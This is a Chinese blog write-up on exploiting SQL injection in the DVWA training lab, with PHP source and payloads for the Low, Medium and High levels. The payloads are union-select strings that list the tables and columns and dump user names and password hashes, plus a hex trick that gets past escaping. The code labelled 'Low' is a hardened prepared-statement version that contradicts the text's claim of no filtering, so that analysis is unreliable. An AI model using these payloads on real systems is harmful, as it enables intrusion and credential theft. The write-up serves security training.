当前位置:   article > 正文

DVWA——SQL注入_dvwa sql注入

dvwa sql注入

Low

审计代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
## 分析源码,可以看到没有对参数做任何的过滤
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66

判断是否存在SQL注入

1. 输入1 提交

在这里插入图片描述

2. 输入1’ 提交

在这里插入图片描述

3. 输入 1 and 1=1提交

在这里插入图片描述

4. 输入1 and 1=2提交

在这里插入图片描述

由上可以看出是存在注入点的,并且是以单引号闭合的,我们猜测sql查询语句是这样的:

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
  • 1

判断列数

1. 1’ order by 2#

在这里插入图片描述

2. 1’ order by 3#

确定显示的位置(SQL语句查询之后的回显位置)
在这里插入图片描述

Union注入

1. 查看回显

1' union select 1,2#
  • 1

1’ 联合选择 1,2# #从下图可以看出有2个回显
在这里插入图片描述

2. 查询当前的数据库,以及版本

1' union select version(),database()#
  • 1

在这里插入图片描述

3. 获取数据库中的表

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
  • 1
  • 2
  • 3


在这里插入图片描述
在这里插入图片描述

知识点:

1.在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表明,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解)

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
  • 1

在这里插入图片描述

4. 获取表中字段名

1' union select  1, group_concat(column_name) from information_schema.columns where table_name='users'#
  • 1

在这里插入图片描述

5. 获取字段中的数据

1' union select user, password from users#
  • 1

在这里插入图片描述

这里密码使用了MD5加密,可在 https://www.cmd5.com/ 进行解密

Medium

审计代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
## 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句,
我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61

攻击复现

使用burp抓取

在这里插入图片描述

我们转到Repeater进行操作

在这里插入图片描述

根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始

1. 查询当前的数据库,以及版本

union select version(),database()#
  • 1

在这里插入图片描述

在这里插入图片描述

2. 获取数据库中的表

 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 1

在这里插入图片描述

在这里插入图片描述

3. 获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。(“用户”)

union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
  • 1

在这里插入图片描述

在这里插入图片描述

获取字段中的数据

 union select user,password from users##
  • 1

在这里插入图片描述

在这里插入图片描述

High

可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
方法跟前面的差不多,这里就不多演示了,直接爆账号密码

获取账号密码

在这里插入图片描述

使用的工具

BurpSuite
phpstudy_pro
火狐浏览器

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/267517
推荐阅读
  

闽ICP备14008679号